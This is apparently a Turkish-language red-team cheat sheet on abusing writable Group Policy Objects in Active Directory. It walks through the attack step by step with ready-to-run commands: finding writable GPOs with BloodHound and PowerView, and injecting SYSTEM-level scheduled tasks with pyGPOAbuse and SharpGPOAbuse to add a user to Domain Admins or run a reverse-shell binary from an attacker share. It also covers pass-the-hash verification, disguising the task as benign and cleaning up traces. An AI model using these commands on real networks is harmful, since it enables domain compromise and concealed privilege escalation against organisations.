GPO Abuse - Yazılabilir Group Policy ile Kod Çalıştırma (SharpGPOAbuse / pyGPOAbuse)
Bir GPO üzerinde yazma (WriteProperty/WriteDacl/GenericWrite) hakkınız varsa, GPO'ya bir Immediate Scheduled Task veya logon/startup script enjekte edersiniz. GPO'nun bağlı olduğu (linked) tüm OU'lardaki bilgisayar/kullanıcılar policy yenilenince payload'u çalıştırır; computer-side task SYSTEM olarak koşar.
- Bir GPO nesnesi üzerinde yazma hakkı (GenericWrite/WriteProperty/WriteDacl/Owns) - BloodHound 'GPO' edge ile bulunur
- GPO'nun en az bir OU/site/domain'e link edilmiş olması (etkileyeceği hedefleri belirler)
- SYSVOL'e (\\{{DOMAIN}}\SYSVOL) yazma erişimi - GPO dosyaları burada saklanır
- Domain kullanıcı kimlik bilgileri (USER/PASS veya NTHASH)
Komutlar
bloodhound-python -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -dc {{DC_HOST}} -ns {{DC_IP}} -c All nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -M maq && nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --gmsa Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite|WriteDacl' } Get-DomainOU | Get-DomainComputer -SearchBase $_.distinguishedname; Get-DomainGPO -Identity "{GPO-GUID}" | select gplink,displayname python3 pygpoabuse.py {{DOMAIN}}/{{USER}}:{{PASS}} -gpo-id "{GPO-GUID}" -command "net group 'Domain Admins' {{USER}} /add /domain" -taskname "Update" -description "benign" python3 pygpoabuse.py {{DOMAIN}}/{{USER}} -hashes :{{NTHASH}} -gpo-id "{GPO-GUID}" -command "{{LHOST}}\share\rev.exe" -user SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author {{DOMAIN}}\{{USER}} --Command "cmd.exe" --Arguments "/c net group 'Domain Admins' {{USER}} /add /domain" --GPOName "VulnerableGPO" SharpGPOAbuse.exe --AddUserTask --TaskName "Update" --Author {{DOMAIN}}\{{USER}} --Command "cmd.exe" --Arguments "/c {{LHOST}}\share\rev.exe" --GPOName "VulnerableGPO" New-GPOImmediateTask -TaskName Update -GPODisplayName "VulnerableGPO" -CommandArguments '-c "net group ..."' -Force gpupdate /force nxc smb {{DC_IP}} -u {{USER}} -H {{NTHASH}} -x "net group 'Domain Admins'" GPO Abuse Mantığı
Group Policy Objects (GPO), bilgisayar ve kullanıcılara merkezi olarak ayar/script dağıtır. GPO dosyaları SYSVOL (\\{{DOMAIN}}\SYSVOL\{{DOMAIN}}\Policies\{GUID}) içinde tutulur. Eğer bir GPO nesnesi üzerinde WriteProperty / GenericWrite / WriteDacl / Owns hakkınız varsa, GPO içeriğine bir Immediate Scheduled Task veya logon/startup script ekleyebilirsiniz. GPO’nun linked olduğu OU/site/domain altındaki tüm hedefler, policy yenilenince (varsayılan ~90 dk + rastgele offset, ya da gpupdate /force) bu payload’u çalıştırır. Computer-side task’lar SYSTEM olarak koşar - bu yüzden bu teknik hem lateral movement hem privesc’tir.
1. Enum: Yazılabilir GPO + Link Hedefleri
İlk adım iki şeyi bulmaktır: (a) üzerinde yazma hakkınız olan bir GPO, (b) o GPO’nun etkilediği makineler. BloodHound bunu GenericWrite/WriteDacl on GPO edge’i ve GPLink ilişkisiyle gösterir - ‘Find GPO that affect computers’ gibi cypher sorguları idealdir. PowerView ile Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs çıktısında kendi SID’inizi arayın. GPO’nun GUID’ini ve hangi OU’lara link olduğunu (gplink) not edin - yüksek değerli (örn. DC’leri ya da yönetici workstationlarını içeren) bir OU’yu hedefleyin.
2. Payload Türünü Seç
- AddComputerTask (Immediate Task, SYSTEM): En güçlüsü. GPO computer config’ine ScheduledTasks.xml ekler; hedef makineler SYSTEM olarak komutu çalıştırır. Domain Admins’e kullanıcı ekleme veya reverse shell için idealdir.
- AddUserTask: Kullanıcı config’ine task ekler; oturum açan kullanıcı bağlamında çalışır (daha az ayrıcalıklı ama gizli).
- Logon/Startup script: GptTmpl/Scripts.ini yoluyla benzer etki.
3. Enjeksiyon
Linux’tan (pyGPOAbuse): python3 pygpoabuse.py {{DOMAIN}}/{{USER}}:{{PASS}} -gpo-id "{GUID}" -command "...". Varsayılan computer task ekler; -user ile user task’a geçer; -hashes :{{NTHASH}} ile PtH yapar. Tool SYSVOL’deki gPCMachineExtensionNames ve versionNumber’ı otomatik günceller.
Windows’tan (SharpGPOAbuse): --AddComputerTask / --AddUserTask ile aynı sonucu verir. PowerView New-GPOImmediateTask da bir alternatiftir.
4. Tetikleme ve Sonuç
Policy yenilenmesini bekleyin ya da hedefe erişiminiz varsa gpupdate /force çalıştırın. Computer task SYSTEM olarak koştuğunda payload çalışır. nxc smb {{DC_IP}} -u {{USER}} -H {{NTHASH}} -x "net group 'Domain Admins'" ile doğrulayın.
Gotchas
- versionNumber / extensionNames: Manuel XML enjekte ederseniz GPO version sayacını ve gPCMachineExtensionNames GUID’ini güncellemelisiniz, yoksa client policy’yi tekrar işlemez. pyGPOAbuse/SharpGPOAbuse bunu otomatik yapar.
- Etki alanı: Task GPO’ya bağlı tüm makinelerde çalışır - DC’lere link bir GPO’ya yazıyorsanız etkisi domain genelinde olabilir; OPSEC açısından dikkat ve link kapsamını önceden doğrulayın.
- Immediate Task vs zamanlanmış: ‘Immediate’ task bir kez çalışıp kendini siler; gizliliği artırır ama tetiklenme yine de gpupdate aralığına bağlıdır.
- Temizlik: ScheduledTasks.xml / script dosyalarını SYSVOL’den kaldırın ve version sayacını eski haline getirin.